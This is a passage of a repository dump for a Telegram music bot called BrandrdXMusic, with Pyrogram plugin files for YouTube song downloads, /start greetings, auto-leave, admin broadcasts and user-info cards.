    "content": "import os\nimport re\nimport yt_dlp\nfrom pyrogram import Client, filters\nfrom pyrogram.types import (\n    CallbackQuery,\n    InlineKeyboardButton,\n    InlineKeyboardMarkup,\n    InputMediaAudio,\n    InputMediaVideo,\n    Message,\n)\n\nfrom config import (\n    BANNED_USERS,\n    SONG_DOWNLOAD_DURATION,\n    SONG_DOWNLOAD_DURATION_LIMIT,\n)\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.utils.decorators.language import language, languageCB\nfrom BrandrdXMusic.utils.formatters import convert_bytes\nfrom BrandrdXMusic.utils.inline.song import song_markup\n\n# Song Module\n\n@app.on_message(filters.command([\"song\"]))\n@language\nasync def song_commad_private(client, message: Message, _):\n    await message.delete()\n    url = await YouTube.url(message)\n    if url:\n        if not await YouTube.exists(url):\n            return await message.reply_text(_[\"song_5\"])\n        mystic = await message.reply_text(_[\"play_1\"])\n        (\n            title,\n            duration_min,\n            duration_sec,\n            thumbnail,\n            vidid,\n        ) = await YouTube.details(url)\n        if str(duration_min) == \"None\":\n            return await mystic.edit_text(_[\"song_3\"])\n        if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT:\n            return await mystic.edit_text(\n                _[\"play_4\"].format(\n                    SONG_DOWNLOAD_DURATION, duration_min\n                )\n            )\n        buttons = song_markup(_, vidid)\n        await mystic.delete()\n        await message.reply_photo(\n            thumbnail,\n            caption=_[\"song_4\"].format(title),\n            reply_markup=InlineKeyboardMarkup(buttons),\n        )\n    else:\n        if len(message.command) < 2:\n            return await message.reply_text(_[\"song_2\"])\n    mystic = await message.reply_text(_[\"play_1\"])\n    query = message.text.split(None, 1)[1]\n    try:\n        (\n            title,\n            duration_min,\n            duration_sec,\n            thumbnail,\n            vidid,\n        ) = await YouTube.details(query)\n    except:\n        return await mystic.edit_text(_[\"play_3\"])\n    if str(duration_min) == \"None\":\n        return await mystic.edit_text(_[\"song_3\"])\n    if int(duration_sec) > SONG_DOWNLOAD_DURATION_LIMIT:\n        return await mystic.edit_text(\n            _[\"play_6\"].format(SONG_DOWNLOAD_DURATION, duration_min)\n        )\n    buttons = song_markup(_, vidid)\n    await mystic.delete()\n    await message.reply_photo(\n        thumbnail,\n        caption=_[\"song_4\"].format(title),\n        reply_markup=InlineKeyboardMarkup(buttons),\n    )\n\n@app.on_callback_query(filters.regex(pattern=r\"song_back\") & ~BANNED_USERS)\n@languageCB\nasync def songs_back_helper(client, callback_query: CallbackQuery, _):\n    callback_data = callback_query.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    stype, vidid = callback_request.split(\"|\")\n    buttons = song_markup(_, vidid)\n    await callback_query.edit_message_reply_markup(\n        reply_markup=InlineKeyboardMarkup(buttons)\n    )\n\n@app.on_callback_query(filters.regex(pattern=r\"song_helper\") & ~BANNED_USERS)\n@languageCB\nasync def song_helper_cb(client, callback_query: CallbackQuery, _):\n    callback_data = callback_query.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    stype, vidid = callback_request.split(\"|\")\n    try:\n        await callback_query.answer(_[\"song_6\"], show_alert=True)\n    except:\n        pass\n    if stype == \"audio\":\n        try:\n            formats_available, link = await YouTube.formats(\n                vidid, True\n            )\n        except:\n            return await callback_query.edit_message_text(_[\"song_7\"])\n        keyboard = InlineKeyboardMarkup(inline_keyboard=[])\n        done = []\n        for x in formats_available:\n            check = x[\"format\"]\n            if \"audio\" in check:\n                if x[\"filesize\"] is None:\n                    continue\n                form = x[\"format_note\"].title()\n                if form not in done:\n                    done.append(form)\n                else:\n                    continue\n                sz = convert_bytes(x[\"filesize\"])\n                fom = x[\"format_id\"]\n                keyboard.inline_keyboard.append(\n                    [\n                        InlineKeyboardButton(\n                            text=f\"{form} Quality Audio = {sz}\",\n                            callback_data=f\"song_download {stype}|{fom}|{vidid}\",\n                        ),\n                    ]\n                )\n        keyboard.inline_keyboard.append(\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=f\"song_back {stype}|{vidid}\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=f\"close\"\n                ),\n            ]\n        )\n        await callback_query.edit_message_reply_markup(\n            reply_markup=keyboard\n        )\n    else:\n        try:\n            formats_available, link = await YouTube.formats(\n                vidid, True\n            )\n        except Exception as e:\n            print(e)\n            return await callback_query.edit_message_text(_[\"song_7\"])\n        keyboard = InlineKeyboardMarkup(inline_keyboard=[])\n        done = [160, 133, 134, 135, 136, 137, 298, 299, 264, 304, 266]\n        for x in formats_available:\n            check = x[\"format\"]\n            if x[\"filesize\"] is None:\n                continue\n            if int(x[\"format_id\"]) not in done:\n                continue\n            sz = convert_bytes(x[\"filesize\"])\n            ap = check.split(\"-\")[1]\n            to = f\"{ap} = {sz}\"\n            keyboard.inline_keyboard.append(\n                [\n                    InlineKeyboardButton(\n                        text=to,\n                        callback_data=f\"song_download {stype}|{x['format_id']}|{vidid}\",\n                    ),\n                ]\n            )\n        keyboard.inline_keyboard.append(\n            [\n                InlineKeyboardButton(\n                    text=_[\"BACK_BUTTON\"],\n                    callback_data=f\"song_back {stype}|{vidid}\",\n                ),\n                InlineKeyboardButton(\n                    text=_[\"CLOSE_BUTTON\"],\n                    callback_data=f\"close\"\n                ),\n            ]\n        )\n        await callback_query.edit_message_reply_markup(\n            reply_markup=keyboard\n        )\n\n# Downloading Songs Here\n\n@app.on_callback_query(\n    filters.regex(pattern=r\"song_download\") & ~BANNED_USERS\n)\n@languageCB\nasync def song_download_cb(client, callback_query: CallbackQuery, _) :\n    try:\n        await callback_query.answer(\"ᴅᴏᴡɴʟᴏᴀᴅɪɴɢ...\")\n    except:\n        pass\n    callback_data = callback_query.data.strip()\n    callback_request = callback_data.split(None, 1)[1]\n    stype, format_id, vidid = callback_request.split(\"|\")\n    mystic = await callback_query.edit_message_text(_[\"song_8\"])\n    yturl = f\"https://www.youtube.com/watch?v={vidid}\"\n    with yt_dlp.YoutubeDL({\"quiet\": True}) as ytdl:\n        x = ytdl.extract_info(yturl, download=False)\n    title = (x[\"title\"]).title()\n    title = re.sub(\"\\W+\", \" \", title)\n    thumb_image_path = await callback_query.message.download()\n    duration = x[\"duration\"]\n    if stype == \"video\":\n        thumb_image_path = await callback_query.message.download()\n        width = callback_query.message.photo.width\n        height = callback_query.message.photo.height\n        try:\n            file_path = await YouTube.download(\n                yturl,\n                mystic,\n                songvideo=True,\n                format_id=format_id,\n                title=title,\n            )\n        except Exception as e:\n            return await mystic.edit_text(_[\"song_9\"].format(e))\n        med = InputMediaVideo(\n            media=file_path,\n            duration=duration,\n            width=width,\n            height=height,\n            thumb=thumb_image_path,\n            caption=title,\n            supports_streaming=True,\n        )\n        await mystic.edit_text(_[\"song_11\"])\n        await app.send_chat_action(\n            chat_id=callback_query.message.chat.id,\n            action=\"upload_video\",\n        )\n        try:\n            await callback_query.edit_message_media(media=med)\n        except Exception as e:\n            print(e)\n            return await mystic.edit_text(_[\"song_10\"])\n        os.remove(file_path)\n    elif stype == \"audio\":\n        try:\n            filename = await YouTube.download(\n                yturl,\n                mystic,\n                songaudio=True,\n                format_id=format_id,\n                title=title,\n            )\n        except Exception as e:\n            return await mystic.edit_text(_[\"song_9\"].format(e))\n        med = InputMediaAudio(\n            media=filename,\n            caption=title,\n            thumb=thumb_image_path,\n            title=title,\n            performer=x[\"uploader\"],\n        )\n        await mystic.edit_text(_[\"song_11\"])\n        await app.send_chat_action(\n            chat_id=callback_query.message.chat.id,\n            action=\"upload_audio\",\n        )\n        try:\n            await callback_query.edit_message_media(media=med)\n        except Exception as e:\n            print(e)\n            return await mystic.edit_text(_[\"song_10\"])\n        os.remove(filename)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/start.py",
    "content": "import time\nimport asyncio\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatType\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\nfrom youtubesearchpython.__future__ import VideosSearch\n\nimport config\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import _boot_\nfrom BrandrdXMusic.plugins.sudo.sudoers import sudoers_list\nfrom BrandrdXMusic.utils.database import (\n    add_served_chat,\n    add_served_user,\n    blacklisted_chats,\n    get_lang,\n    is_banned_user,\n    is_on_off,\n)\nfrom BrandrdXMusic.utils.decorators.language import LanguageStart\nfrom BrandrdXMusic.utils.formatters import get_readable_time\nfrom BrandrdXMusic.utils.inline import help_pannel, private_panel, start_panel\nfrom config import BANNED_USERS\nfrom strings import get_string\n\n@app.on_message(filters.command([\"start\"]) & filters.private & ~BANNED_USERS)\n@LanguageStart\nasync def start_pm(client, message: Message, _):\n    await add_served_user(message.from_user.id)\n    await message.react(\"❤\")\n    if len(message.text.split()) > 1:\n        name = message.text.split(None, 1)[1]\n        if name[0:4] == \"help\":\n            keyboard = help_pannel(_)\n            await message.reply_sticker(\"CAACAgUAAxkBAAEQI1RlTLnRAy4h9lOS6jgS5FYsQoruOAAC1gMAAg6ryVcldUr_lhPexzME\")\n            return await message.reply_photo(\n                photo=config.START_IMG_URL,\n                caption=_[\"help_1\"].format(config.SUPPORT_CHAT),\n                reply_markup=keyboard,\n            )\n        if name[0:3] == \"sud\":\n            await sudoers_list(client=client, message=message, _=_)\n            if await is_on_off(2):\n                return await app.send_message(\n                    chat_id=config.LOGGER_ID,\n                    text=f\"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ <b>sᴜᴅᴏʟɪsᴛ</b>.\\n\\n<b>ᴜsᴇʀ ɪᴅ :</b> <code>{message.from_user.id}</code>\\n<b>ᴜsᴇʀɴᴀᴍᴇ :</b> @{message.from_user.username}\",\n                )\n            return\n        if name[0:3] == \"inf\":\n            m = await message.reply_text(\"🔎\")\n            query = (str(name)).replace(\"info_\", \"\", 1)\n            query = f\"https://www.youtube.com/watch?v={query}\"\n            results = VideosSearch(query, limit=1)\n            for result in (await results.next())[\"result\"]:\n                title = result[\"title\"]\n                duration = result[\"duration\"]\n                views = result[\"viewCount\"][\"short\"]\n                thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n                channellink = result[\"channel\"][\"link\"]\n                channel = result[\"channel\"][\"name\"]\n                link = result[\"link\"]\n                published = result[\"publishedTime\"]\n            searched_text = _[\"start_6\"].format(\n                title, duration, views, published, channellink, channel, app.mention\n            )\n            key = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(text=_[\"S_B_8\"], url=link),\n                        InlineKeyboardButton(text=_[\"S_B_9\"], url=config.SUPPORT_CHAT),\n                    ],\n                ]\n            )\n            await m.delete()\n            await app.send_photo(\n                chat_id=message.chat.id,\n                photo=thumbnail,\n                caption=searched_text,\n                reply_markup=key,\n            )\n            if await is_on_off(2):\n                return await app.send_message(\n                    chat_id=config.LOGGER_ID,\n                    text=f\"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ᴛʜᴇ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ <b>ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ</b>.\\n\\n<b>ᴜsᴇʀ ɪᴅ :</b> <code>{message.from_user.id}</code>\\n<b>ᴜsᴇʀɴᴀᴍᴇ :</b> @{message.from_user.username}\",\n                )\n    else:\n\n        try:\n            out = private_panel(_)\n            lol = await message.reply_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ︎ {}.. ❣️\".format(message.from_user.mention))\n            await lol.edit_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🥳\".format(message.from_user.mention))\n            await lol.edit_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💥\".format(message.from_user.mention))\n            await lol.edit_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 🤩\".format(message.from_user.mention))\n            await lol.edit_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💌\".format(message.from_user.mention))\n            await lol.edit_text(\"𝐖𝐞𝐥𝐜𝐨𝐦𝐞 𝐁𝐚𝐛𝐲 ꨄ {}.. 💞\".format(message.from_user.mention))\n               \n            await lol.delete()\n            lols = await message.reply_text(\"**⚡️ѕ**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"⚡ѕт\")        \n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтα**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαя**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαят**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαятι**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαятιи**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαятιиg**\")\n            await asyncio.sleep(0.1)\n            await lols.edit_text(\"**⚡ѕтαятιиg.**\")\n\n            await lols.edit_text(\"**⚡ѕтαятιиg....**\")\n\n            await lols.edit_text(\"**⚡ѕтαятιиg.**\")\n            await lols.edit_text(\"**⚡ѕтαятιиg....**\")\n            m = await message.reply_sticker(\"CAACAgUAAxkBAAEQI1BlTLmx7PtOO3aPNshEU2gCy7iAFgACNQUAApqMuVeA6eJ50VbvmDME\")\n            if message.chat.photo:\n\n                userss_photo = await app.download_media(\n                    message.chat.photo.big_file_id,\n                )\n            else:\n                userss_photo = \"assets/nodp.png\"\n            if userss_photo:\n                chat_photo = userss_photo\n            chat_photo = userss_photo if userss_photo else START_IMG_URL\n\n        except AttributeError:\n            chat_photo = \"assets/nodp.png\"\n        await lols.delete()\n        await m.delete()\n        await message.reply_photo(\n            photo=chat_photo,\n            caption=_[\"start_2\"].format(message.from_user.mention, app.mention),\n            reply_markup=InlineKeyboardMarkup(out),\n        )\n        if await is_on_off(config.LOG):\n            sender_id = message.from_user.id\n            sender_name = message.from_user.first_name\n            return await app.send_message(\n                config.LOG_GROUP_ID,\n                f\"{message.from_user.mention} ʜᴀs sᴛᴀʀᴛᴇᴅ ʙᴏᴛ. \\n\\n**ᴜsᴇʀ ɪᴅ : {sender_id}\\n**ᴜsᴇʀ ɴᴀᴍᴇ: {sender_name}\",\n            )          \n\n@app.on_message(filters.command([\"start\"]) & filters.group & ~BANNED_USERS)\n@LanguageStart\nasync def start_gp(client, message: Message, _):\n    out = start_panel(_)\n    uptime = int(time.time() - _boot_)\n    await message.reply_photo(\n        photo=config.START_IMG_URL,\n        caption=_[\"start_1\"].format(app.mention, get_readable_time(uptime)),\n        reply_markup=InlineKeyboardMarkup(out),\n    )\n    return await add_served_chat(message.chat.id)\n\n\n@app.on_message(filters.new_chat_members, group=-1)\nasync def welcome(client, message: Message):\n    for member in message.new_chat_members:\n        try:\n            language = await get_lang(message.chat.id)\n            _ = get_string(language)\n            if await is_banned_user(member.id):\n                try:\n                    await message.chat.ban_member(member.id)\n                except:\n                    pass\n            if member.id == app.id:\n                if message.chat.type != ChatType.SUPERGROUP:\n                    await message.reply_text(_[\"start_4\"])\n                    return await app.leave_chat(message.chat.id)\n                if message.chat.id in await blacklisted_chats():\n                    await message.reply_text(\n                        _[\"start_5\"].format(\n                            app.mention,\n                            f\"https://t.me/{app.username}?start=sudolist\",\n                            config.SUPPORT_CHAT,\n                        ),\n                        disable_web_page_preview=True,\n                    )\n                    return await app.leave_chat(message.chat.id)\n\n                out = start_panel(_)\n                await message.reply_photo(\n                    photo=config.START_IMG_URL,\n                    caption=_[\"start_3\"].format(\n                        message.from_user.first_name,\n                        app.mention,\n                        message.chat.title,\n                        app.mention,\n                    ),\n                    reply_markup=InlineKeyboardMarkup(out),\n                )\n                await add_served_chat(message.chat.id)\n                await message.stop_propagation()\n        except Exception as ex:\n            print(ex)\n\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/autoleave.py",
    "content": "import asyncio\nfrom datetime import datetime\n\nfrom pyrogram.enums import ChatType\n\nimport config\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty, autoend\nfrom BrandrdXMusic.utils.database import get_client, is_active_chat, is_autoend\n\n\nasync def auto_leave():\n    if config.AUTO_LEAVING_ASSISTANT:\n        while not await asyncio.sleep(900):\n            from BrandrdXMusic.core.userbot import assistants\n\n            for num in assistants:\n                client = await get_client(num)\n                left = 0\n                try:\n                    async for i in client.get_dialogs():\n                        if i.chat.type in [\n                            ChatType.SUPERGROUP,\n                            ChatType.GROUP,\n                            ChatType.CHANNEL,\n                        ]:\n                            if (\n                                i.chat.id != config.LOGGER_ID\n                                and i.chat.id != -1001626004802\n                                and i.chat.id != -1001876397776\n                            ):\n                                if left == 20:\n                                    continue\n                                if not await is_active_chat(i.chat.id):\n                                    try:\n                                        await client.leave_chat(i.chat.id)\n                                        left += 1\n                                    except:\n                                        continue\n                except:\n                    pass\n\n\nasyncio.create_task(auto_leave())\n\n\nasync def auto_end():\n    while not await asyncio.sleep(5):\n        ender = await is_autoend()\n        if not ender:\n            continue\n        for chat_id in autoend:\n            timer = autoend.get(chat_id)\n            if not timer:\n                continue\n            if datetime.now() > timer:\n                if not await is_active_chat(chat_id):\n                    autoend[chat_id] = {}\n                    continue\n                autoend[chat_id] = {}\n                try:\n                    await Hotty.stop_stream(chat_id)\n                except:\n                    continue\n                try:\n                    await app.send_message(\n                        chat_id,\n                        \"» ʙᴏᴛ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇғᴛ ᴠɪᴅᴇᴏᴄʜᴀᴛ ʙᴇᴄᴀᴜsᴇ ɴᴏ ᴏɴᴇ ᴡᴀs ʟɪsᴛᴇɴɪɴɢ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ.\",\n                    )\n                except:\n                    continue\n\n\nasyncio.create_task(auto_end())\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/broadcast.py",
    "content": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.errors import FloodWait\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import (\n    get_active_chats,\n    get_authuser_names,\n    get_client,\n    get_served_chats,\n    get_served_users,\n)\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.formatters import alpha_to_int\nfrom config import adminlist\n\nIS_BROADCASTING = False\n\n\n@app.on_message(filters.command(\"broadcast\") & SUDOERS)\n@language\nasync def braodcast_message(client, message, _):\n    global IS_BROADCASTING\n    if message.reply_to_message:\n        x = message.reply_to_message.id\n        y = message.chat.id\n    else:\n        if len(message.command) < 2:\n            return await message.reply_text(_[\"broad_2\"])\n        query = message.text.split(None, 1)[1]\n        if \"-pin\" in query:\n            query = query.replace(\"-pin\", \"\")\n        if \"-nobot\" in query:\n            query = query.replace(\"-nobot\", \"\")\n        if \"-pinloud\" in query:\n            query = query.replace(\"-pinloud\", \"\")\n        if \"-assistant\" in query:\n            query = query.replace(\"-assistant\", \"\")\n        if \"-user\" in query:\n            query = query.replace(\"-user\", \"\")\n        if query == \"\":\n            return await message.reply_text(_[\"broad_8\"])\n\n    IS_BROADCASTING = True\n    await message.reply_text(_[\"broad_1\"])\n\n    if \"-nobot\" not in message.text:\n        sent = 0\n        pin = 0\n        chats = []\n        schats = await get_served_chats()\n        for chat in schats:\n            chats.append(int(chat[\"chat_id\"]))\n        for i in chats:\n            try:\n                m = (\n                    await app.forward_messages(i, y, x)\n                    if message.reply_to_message\n                    else await app.send_message(i, text=query)\n                )\n                if \"-pin\" in message.text:\n                    try:\n                        await m.pin(disable_notification=True)\n                        pin += 1\n                    except:\n                        continue\n                elif \"-pinloud\" in message.text:\n                    try:\n                        await m.pin(disable_notification=False)\n                        pin += 1\n                    except:\n                        continue\n                sent += 1\n                await asyncio.sleep(0.2)\n            except FloodWait as fw:\n                flood_time = int(fw.value)\n                if flood_time > 200:\n                    continue\n                await asyncio.sleep(flood_time)\n            except:\n                continue\n        try:\n            await message.reply_text(_[\"broad_3\"].format(sent, pin))\n        except:\n            pass\n\n    if \"-user\" in message.text:\n        susr = 0\n        served_users = []\n        susers = await get_served_users()\n        for user in susers:\n            served_users.append(int(user[\"user_id\"]))\n        for i in served_users:\n            try:\n                m = (\n                    await app.forward_messages(i, y, x)\n                    if message.reply_to_message\n                    else await app.send_message(i, text=query)\n                )\n                susr += 1\n                await asyncio.sleep(0.2)\n            except FloodWait as fw:\n                flood_time = int(fw.value)\n                if flood_time > 200:\n                    continue\n                await asyncio.sleep(flood_time)\n            except:\n                pass\n        try:\n            await message.reply_text(_[\"broad_4\"].format(susr))\n        except:\n            pass\n\n    if \"-assistant\" in message.text:\n        aw = await message.reply_text(_[\"broad_5\"])\n        text = _[\"broad_6\"]\n        from AnonXMusic.core.userbot import assistants\n\n        for num in assistants:\n            sent = 0\n            client = await get_client(num)\n            async for dialog in client.get_dialogs():\n                try:\n                    await client.forward_messages(\n                        dialog.chat.id, y, x\n                    ) if message.reply_to_message else await client.send_message(\n                        dialog.chat.id, text=query\n                    )\n                    sent += 1\n                    await asyncio.sleep(3)\n                except FloodWait as fw:\n                    flood_time = int(fw.value)\n                    if flood_time > 200:\n                        continue\n                    await asyncio.sleep(flood_time)\n                except:\n                    continue\n            text += _[\"broad_7\"].format(num, sent)\n        try:\n            await aw.edit_text(text)\n        except:\n            pass\n    IS_BROADCASTING = False\n\n\nasync def auto_clean():\n    while not await asyncio.sleep(10):\n        try:\n            served_chats = await get_active_chats()\n            for chat_id in served_chats:\n                if chat_id not in adminlist:\n                    adminlist[chat_id] = []\n                    async for user in app.get_chat_members(\n                        chat_id, filter=ChatMembersFilter.ADMINISTRATORS\n                    ):\n                        if user.privileges.can_manage_video_chats:\n                            adminlist[chat_id].append(user.user.id)\n                    authusers = await get_authuser_names(chat_id)\n                    for user in authusers:\n                        user_id = await alpha_to_int(user)\n                        adminlist[chat_id].append(user_id)\n        except:\n            continue\n\n\nasyncio.create_task(auto_clean())\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/info.py",
    "content": "import asyncio, os, time, aiohttp\nfrom pathlib import Path\nfrom PIL import Image, ImageDraw, ImageFont\nfrom asyncio import sleep\nfrom BrandrdXMusic import app\nfrom pyrogram import filters, Client, enums\nfrom pyrogram.enums import ParseMode\nfrom pyrogram.types import *\nfrom typing import Union, Optional\nimport random\n\nrandom_photo = [\n    \"https://telegra.ph/file/1949480f01355b4e87d26.jpg\",\n    \"https://telegra.ph/file/3ef2cc0ad2bc548bafb30.jpg\",\n    \"https://telegra.ph/file/a7d663cd2de689b811729.jpg\",\n    \"https://telegra.ph/file/6f19dc23847f5b005e922.jpg\",\n    \"https://telegra.ph/file/2973150dd62fd27a3a6ba.jpg\",\n]\n\n# --------------------------------------------------------------------------------- #\n\n\nget_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size)\nresize_text = (\n    lambda text_size, text: (text[:text_size] + \"...\").upper()\n    if len(text) > text_size\n    else text.upper()\n)\n\n# --------------------------------------------------------------------------------- #\n\n\nasync def get_userinfo_img(\n    bg_path: str,\n    font_path: str,\n    user_id: Union[int, str],    \n    profile_path: Optional[str] = None\n):\n    bg = Image.open(bg_path)\n\n    if profile_path:\n        img = Image.open(profile_path)\n        mask = Image.new(\"L\", img.size, 0)\n        draw = ImageDraw.Draw(mask)\n        draw.pieslice([(0, 0), img.size], 0, 360, fill=255)\n\n        circular_img = Image.new(\"RGBA\", img.size, (0, 0, 0, 0))\n        circular_img.paste(img, (0, 0), mask)\n        resized = circular_img.resize((400, 400))\n        bg.paste(resized, (440, 160), resized)\n\n    img_draw = ImageDraw.Draw(bg)\n\n    img_draw.text(\n        (529, 627),\n        text=str(user_id).upper(),\n        font=get_font(46, font_path),\n        fill=(255, 255, 255),\n    )\n\n\n    path = f\"./userinfo_img_{user_id}.png\"\n    bg.save(path)\n    return path\n   \n\n# --------------------------------------------------------------------------------- #\n\nbg_path = \"BrandrdXMusic/assets/userinfo.png\"\nfont_path = \"BrandrdXMusic/assets/hiroko.ttf\"\n\n# --------------------------------------------------------------------------------- #\n\n\nINFO_TEXT = \"\"\"**\n❅─────✧❅✦❅✧─────❅\n            ✦ ᴜsᴇʀ ɪɴғᴏ ✦\n\n➻ ᴜsᴇʀ ɪᴅ ‣ **`{}`\n**➻ ғɪʀsᴛ ɴᴀᴍᴇ ‣ **{}\n**➻ ʟᴀsᴛ ɴᴀᴍᴇ ‣ **{}\n**➻ ᴜsᴇʀɴᴀᴍᴇ ‣ **`{}`\n**➻ ᴍᴇɴᴛɪᴏɴ ‣ **{}\n**➻ ʟᴀsᴛ sᴇᴇɴ ‣ **{}\n**➻ ᴅᴄ ɪᴅ ‣ **{}\n**➻ ʙɪᴏ ‣ **`{}`\n\n**❅─────✧❅✦❅✧─────❅**\n\"\"\"\n\n# --------------------------------------------------------------------------------- #\n\nasync def userstatus(user_id):\n   try:\n      user = await app.get_users(user_id)\n      x = user.status\n      if x == enums.UserStatus.RECENTLY:\n         return \"Recently.\"\n      elif x == enums.UserStatus.LAST_WEEK:\n          return \"Last week.\"\n      elif x == enums.UserStatus.LONG_AGO:\n          return \"Long time ago.\"\n      elif x == enums.UserStatus.OFFLINE:\n          return \"Offline.\"\n      elif x == enums.UserStatus.ONLINE:\n         return \"Online.\"\n   except:\n        return \"**sᴏᴍᴇᴛʜɪɴɢ ᴡʀᴏɴɢ ʜᴀᴘᴘᴇɴᴇᴅ !**\"\n    \n\n# --------------------------------------------------------------------------------- #\n\n\n\n@app.on_message(filters.command([\"info\", \"userinfo\"], prefixes=[\"/\", \"!\", \"%\", \",\", \"\", \".\", \"@\", \"#\"]))\nasync def userinfo(_, message):\n    chat_id = message.chat.id\n    user_id = message.from_user.id\n    \n    if not message.reply_to_message and len(message.command) == 2:\n        try:\n            user_id = message.text.split(None, 1)[1]\n            user_info = await app.get_chat(user_id)\n            user = await app.get_users(user_id)\n            status = await userstatus(user.id)\n            id = user_info.id\n            dc_id = user.dc_id\n            first_name = user_info.first_name \n            last_name = user_info.last_name if user_info.last_name else \"No last name\"\n            username = user_info.username if user_info.username else \"No Username\"\n            mention = user.mention\n            bio = user_info.bio if user_info.bio else \"No bio set\"\n            \n            if user.photo:\n                # User has a profile photo\n                photo = await app.download_media(user.photo.big_file_id)\n                welcome_photo = await get_userinfo_img(\n                    bg_path=bg_path,\n                    font_path=font_path,\n                    user_id=user.id,\n                    profile_path=photo,\n                )\n            else:\n                # User doesn't have a profile photo, use random_photo directly\n                welcome_photo = random.choice(random_photo)\n                \n            await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(\n                id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)\n        except Exception as e:\n            await message.reply_text(str(e))        \n      \n    elif not message.reply_to_message:\n        try:\n            user_info = await app.get_chat(user_id)\n            user = await app.get_users(user_id)\n            status = await userstatus(user.id)\n            id = user_info.id\n            dc_id = user.dc_id\n            first_name = user_info.first_name \n            last_name = user_info.last_name if user_info.last_name else \"No last name\"\n            username = user_info.username if user_info.username else \"No Username\"\n            mention = user.mention\n            bio = user_info.bio if user_info.bio else \"No bio set\"\n            \n            if user.photo:\n                # User has a profile photo\n                photo = await app.download_media(user.photo.big_file_id)\n                welcome_photo = await get_userinfo_img(\n                    bg_path=bg_path,\n                    font_path=font_path,\n                    user_id=user.id,\n                    profile_path=photo,\n                )\n            else:\n                # User doesn't have a profile photo, use random_photo directly\n                welcome_photo = random.choice(random_photo)\n                \n            await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(\n                id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)\n        except Exception as e:\n            await message.reply_text(str(e))\n\n    elif message.reply_to_message:\n        user_id = message.reply_to_message.from_user.id\n        try:\n            user_info = await app.get_chat(user_id)\n            user = await app.get_users(user_id)\n            status = await userstatus(user.id)\n            id = user_info.id\n            dc_id = user.dc_id\n            first_name = user_info.first_name \n            last_name = user_info.last_name if user_info.last_name else \"No last name\"\n            username = user_info.username if user_info.username else \"No Username\"\n            mention = user.mention\n            bio = user_info.bio if user_info.bio else \"No bio set\"\n            \n            if user.photo:\n                # User has a profile photo\n                photo = await app.download_media(user.photo.big_file_id)\n                welcome_photo = await get_userinfo_img(\n                    bg_path=bg_path,\n                    font_path=font_path,\n                    user_id=user.id,\n                    profile_path=photo,\n                )\n            else:\n                # User doesn't have a profile photo, use random_photo directly\n                welcome_photo = random.choice(random_photo)\n                \n            await app.send_photo(chat_id, photo=welcome_photo, caption=INFO_TEXT.format(\n                id, first_name, last_name, username, mention, status, dc_id, bio), reply_to_message_id=message.id)\n        except Exception as e:\n            await message.reply_text(str(e))\n"
  },
  {
    "path": "BrandrdXMusic/plugins/misc/mongochk.py",
